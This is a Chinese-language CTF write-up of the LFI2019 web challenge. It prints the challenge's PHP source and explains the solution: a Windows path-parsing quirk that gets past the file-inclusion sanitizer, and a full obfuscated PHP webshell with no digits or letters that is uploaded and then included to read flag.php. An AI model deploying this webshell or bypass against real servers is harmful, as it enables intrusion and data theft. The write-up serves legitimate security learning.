CTF Web安全

LFI2019(文件包含。无数字字母webshell)

Posted on 2020-05-07,8 min read

下源码审计。

<?php
   function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
		// Easy level hardening //
		if($harden){
			$harden_filter = ["/", "\\"];
			foreach($harden_filter as $f){
				$dir = str_replace($f, "", $dir);
			}
		}

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }


    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>

首先。会从我们请求的URL中。以&分割。赋值给$parsed_url
比如

xxx.com/?test&123
解析后:
$parsed_url[0]=test
$parsed_url[1]=123

然后。他就会根据$parsed_url[0]来进入不同的类。实现不同的功能。$parsed_url[1]作为参数。传入类中

先看Get类
将传入的值进入path_sanitizer函数。
不能有如下的值

$filter = ['.', './', '~', '.\\', '#', '<', '>'];

然后调用get方法
判断传入的值(文件)是否存在。然后拼接

$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

这里调用path_sanitizer函数。第二个参数为True。将\/替换为空
比较这两个变量是否相同。或者file_get_contents两个文件。比较是否相同
然后include文件

如果是Linux下。看了WP。这里是用了windows的特性。利用"会解析为.

第一个变量经过函数处理。变成

./files/"/test

第二个变量经过函数处理。变成

./files/"test

然后file_get_contents。分别会读取./files/./test./files/.test
第一个变量和第二个变量不相同。并且读取的文件内容也都不相同。所以。可以过if判断
。这里存在文件包含。然后看PUT类
put请求如下

url中的test。会作为参数进入PUT类。
如果url中的filename和经过path_sanitizer处理的POST DATA中的filename一致。那么就将URL中的filename赋值给$this->filename
这个代码没看懂想实现啥东西。就不能包含文件名黑名单的内容。然后URL和data中的filename一致就行
接着就是put。我们传入的文件名。文件内容不能包含

$code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);

就是个无数字字母webshell。直接给出file_get_contents('flag.php')的shell

<?=$_=[];$_="$_";$_=$_[("!"=="!")+("!"=="!")+("!"=="!")];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$_;$___++;$___++;$___++;$___++;$____=$_;$_____=$_;$_____++;$_____++;$_____++;$______=$_;$______++;$______++;$______++;$______++;$______++;$__=$__.$___.$____.$_____.$______;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$__=$__.$___.$____.$_____;$___=$_;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$______=$_;$______++;$______++;$______++;$______++;$______++;$______++;$___=$___.$____.$_____.$______;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___=$___.'.'.$____.$_____.$____;$__($___);?>

然后。就写入文件了。那么大致意思就是。put写shell。然后get包含执行
。首先通过之前的windows特性。我们写个./files/test

然后利用windows特性包含./files/"/test==./files/./test

成功包含

还有其他解法。都是利用这几个函数执行的差异。
这里偷个图

我们可以利用test::$INDEX_ALLOCATION生成test文件夹。然后第一次访问创建文件夹
第二次访问test/abc。写shell
然后第三次包含

下一篇: [Chaos Communication Camp 2019]PDFCreator→